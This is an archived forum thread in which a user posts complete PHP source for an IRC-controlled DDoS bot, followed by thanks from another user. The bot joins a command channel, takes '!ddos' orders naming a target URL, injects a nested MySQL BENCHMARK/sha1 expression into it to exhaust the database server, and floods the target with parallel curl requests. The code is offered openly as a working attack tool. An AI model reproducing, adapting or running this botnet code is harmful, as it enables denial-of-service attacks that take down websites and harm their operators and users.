PDA

View Full Version : Php irc ddoser



Void
03-13-2015, 10:13 AM
<?php
$irc_server = "yourserver";
$irc_port = "6667";

$channel = "#ddos";
$channel_pass = "ddos";

$nick = "LudiX-".time();
$reg_con = "$nick \"localhost\" \"$irc_server\" :ADMIRAL";

##########################
## END OF CONFIGURATION ##
##########################

$irc_socket = fsockopen($irc_server, $irc_port);
$dd0s = 0;
$dozzed = 1;
if(!$irc_socket)
**
print "[-] Could not connect to $irc_server\n[!] Check your config!";
exit;
}
print "[x] Connected to $irc_server\n";


fputs($irc_socket, "USER $reg_con\r\n");
fputs($irc_socket, "nick $nick\r\n");


while(!feof($irc_socket))
**
$buffer = fgets($irc_socket);
#print $buffer;
if(preg_match("[^PING (.*)]", $buffer, $analyse))
**
fputs($irc_socket, "PONG $analyse[1]");
}


if(preg_match("[376 $nick :End of /MOTD]", $buffer))
**
print "[x] End of /MOTD command.\n[x] Joining $channel\r\n";
fputs($irc_socket, "join $channel $channel_pass\n");
}


if(preg_match("[.*PRIVMSG .* :!ddos\[RUN\] (.*)\ -i (.*) -t (.*)]", $buffer, $dat))
**
$host = $dat[1];
$x = $dat[2];
$threads = trim($dat[3]);
$host = str_replace("ddos", "BENCHMARK(100000000000,BENCHMARK(99999999999999999 9999,sha1(1)))", $host);

preg_match("[(http://.*\.php).*]", $host, $print);
fputs($irc_socket, "PRIVMSG $channel :STARTING DDOS for $x times with $threads threads [".$print[1]."]\r\n");
print $host;
$dd0s = 1;
}


if($dozzed == $x)
**
$dd0s = 0;
$dozzed = 1;
$x = 0;
$threads = 1;
fputs($irc_socket, "PRIVMSG $channel :FINISHED DDOS\r\n");
}

if($dd0s == 1)
**
ddos($host, $threads, $irc_socket, $channel);
++$dozzed;
}

}


function ddos($host, $x, $irc_socket, $channel)
**

$i = 0;
$mh = curl_multi_init();
while($i < $x)
**
$ch[$i] = curl_init();
curl_setopt($ch[$i], CURLOPT_URL, "$host");
curl_setopt($ch[$i], CURLOPT_HEADER, 0);
curl_setopt($ch[$i], CURLOPT_TIMEOUT, 20);
curl_setopt($ch[$i], CURLOPT_MUTE, TRUE);
curl_multi_add_handle($mh,$ch[$i]);
++$i;
}
$running=null;
do **
$eater = curl_multi_exec($mh,$running);
} while($running > 0);

$i = 0;
while($i < $x)
**
curl_multi_remove_handle($mh,$ch[$i]);
++$i;
}
curl_multi_close($mh);
}

?>

nguatrang
03-13-2015, 11:13 AM
Like! Thanks

Void
03-13-2015, 01:13 PM
Like! Thanks
Your Wellcome